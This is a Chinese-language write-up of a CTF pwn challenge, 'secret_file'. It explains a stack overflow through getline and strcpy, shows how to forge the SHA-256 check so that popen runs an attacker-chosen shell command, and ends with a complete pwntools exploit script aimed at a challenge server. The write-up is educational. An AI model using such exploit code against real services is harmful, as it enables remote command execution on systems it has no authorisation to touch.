secret_file分析
secret_file的题目分析
2020-02-13 09:11:12 by hawkJW
这道题就是一个简单的溢出问题,但是需要注意一些细节,这里进行说明一下
1. 程序流程总览
首先,还是老规矩,看一下保护情况
可以看到,这里的保护措施全开,那么可能不能用普通的操作来解决问题。下面具体看一下程序的流程,如图所示
实际上,可以看出来,首先将dest位置进行初始化,然后通过函数 getline() 函数输入数据到lineptr,然后使用 strrchr() 进行处理,接着使用 strcpy() 讲之前处理过的位于lineptr的数据复制到dest位置,通过之后使用 sha256() 将dest的前256bit数据进行sha256处理,处理后的数据存储到 &v16 ,也就是 rbp-19Ch 处,然后经过一个变换后,进行判断,如果通过的话,使用 popen() 函数,然后结束即可
2. 漏洞
因为这个函数中有一些对于我来说比较陌生的函数,因此如果想要发现漏洞并且利用的话,则需要对这些函数一一分析。其中包含getline()、strrchr()以及popen()
对于getline()来说,其函数声明如下
ssize_t getline(char **lineptr, size_t *n, FILE *stream); /* lineptr:指向存放该行字符的指针,如果是NULL,则有系统帮助malloc,请在使用完成后free释放。 n:如果是由系统malloc的指针,请填0 stream:文件描述符 */
值得注意的是,经过linux上的实验,只有断开输入或者遇到'\n'时,才会结束输入,否则会一直进行等待
对于strrchr()来说,其函数声明如下
char *strrchr(const char *str, int c); /* 该函数返回 str 中最后一次出现字符 c 的位置。如果未找到该值,则函数返回一个空指针 */
这个并没有什么特别注意的,但是需要知道如果未找到的话,会返回空指针,也就是0
对于popen()来说,其函数声明如下
FILE *popen(const char *cmd,const char *type); /* command: 是一个指向以 NULL 结束的 shell 命令字符串的指针。这行命令将被传到 bin/sh 并使用 -c 标志,shell 将执行这个命令 mode: 只能是读或者写中的一种,得到的返回值(标准 I/O 流)也具有和 type 相应的只读或只写类型。如果 type 是 “r” 则文件指针连接到 command 的标准输出;如果 type 是 “w” 则文件指针连接到 command 的标准输入 */
实际上,也就是说,popen可以执行cmd中对应的指令,也可以根据type来进行读或者写
介绍完这些陌生的函数,我们就可以开始具体分析漏洞了。实际上,当介绍到getline()时,我们就能察觉到,这里没有限制输入的个数。而之后的源代码中有使用了strcpy(),将之前输入的数据复制到栈上。我们观察一下栈上的分布。
也就是说,我们理论上可以覆盖掉从 dest ,也就是 rsp-2f8h 之后的所有栈上空间,那么如果我们精心构造一个payload输入,使其可以正常绕过比较,并且执行popen()代码部分,也就相当于我们成功执行了代码,从而实现漏洞的利用。
3. 漏洞利用
现在我们分析一下漏洞的利用。首先,为了通过如下的检查
由于有strrchr(),我们需要让输入的payload中至少在 \x00 前有一个回车符,而由于getline()以回车符作为结束标志,也就是说,为了通过检查,我们不能在payload中包含\x00,即填充的时候换用其他的符号进行填充。
下面我们分析一下源代码中的变化部分的代码
在根据栈上的结构布局
实际上,也就是从v16开始,执行循环变化0x20次。每一次都是将(&v16)[0x20 + 2 * index]的值变换为(&v16)[index]处的字节转换为16进制的字符串
而实际上&v16处的0x20个字节的值,是从&dest开始的0x100个字节的sha256的值,也就是输入的payload的前0x100个字节的sha256的值。
之后程序将和v15处开始的内存中的值进行比较,如果相等的话,将执行&v14中的字符串所代表的命令,如图所示
根据上面的分析,我们来构造payload
首先,payload中将含有随便的0x100个字节的值(不为\x00),实际上经过复制后,在栈上的位置到了&14处。也就是这部分的payload为 payload='a'*0x100
而我们知道&14实际上包含的是要执行的命令,则我们接着在payload中输入要执行的命令,但是由于栈上我们会和v15比较,则v15处需要存放前面sha256输入的0x100变换后的值,因此我们输入的命令的字符串的最长值也就是 v15-&v14=(rbp-1ddh)-(rbp-1f8h)=1f8h-1ddh ,并且为了不执行没有用的命令,我们构造这一部分的内容为 payload=payload+(cmd+';#').ljust(0x1f8-0x1dd,' ')
此时在栈上来到了v15,也就是最终比较的部分,这个并没有什么,我们按照对应的流程计算出最后的&v17的值就行,则这部分的payload比较上,如下
sha256 = hashlib.sha256('a'*0x100).hexdigest() for i in range(0, len(sha256), 2): memory = memory + chr(int(sha256[i:i + 2], 16)) memory = list(memory + '\x00' * 0x41) #memory = &v16 for i in range(0x20): tmp = '%02x'%ord(memory[i]) + '\x00' memory[0x20 + 2 * i] = tmp[0] memory[0x20 + 2 * i + 1] = tmp[1] memory[0x20 + 2 * i + 2] = tmp[2] v15 = ''.join([i for i in memory[0x20:-1]])
payload = payload + v15 + '\n
这样子,也就成功构造出了一个payload
具体的就不多说了,贴上完整的wp
#coding:utf-8 from pwn import * import hashlib #context.log_level = 'debug' debug = 1 def exp(string, debug): if debug == 1: r = process('./secret_file') #gdb.attach(r) #pause else: r = remote('111.198.29.45', 37598) payload = 'a' * 0x100 memory = '' sha256 = hashlib.sha256(payload).hexdigest() for i in range(0, len(sha256), 2): memory = memory + chr(int(sha256[i:i + 2], 16)) memory = list(memory + '\x00' * 0x41) for i in range(0x20): tmp = '%02x'%ord(memory[i]) + '\x00' memory[0x20 + 2 * i] = tmp[0] memory[0x20 + 2 * i + 1] = tmp[1] memory[0x20 + 2 * i + 2] = tmp[2] v15 = ''.join([i for i in memory[0x20:-1]]) ''' string中不要用\x00填充 payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, '\x00') + v15 + '\n' 否则strcpy的时候会进行截断,v15无法正常输入 ''' ''' v15后面不要跟\x00 payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\x00\n' 否则strrchr的时候,str会以\x00作为结尾,则\n被截断 ''' payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\n' r.send(payload) log.info('%s\n'%r.recv()) r.close() while True: print '[*] $ ', command = raw_input()[:-1] if command == 'exit': break exp(command, debug)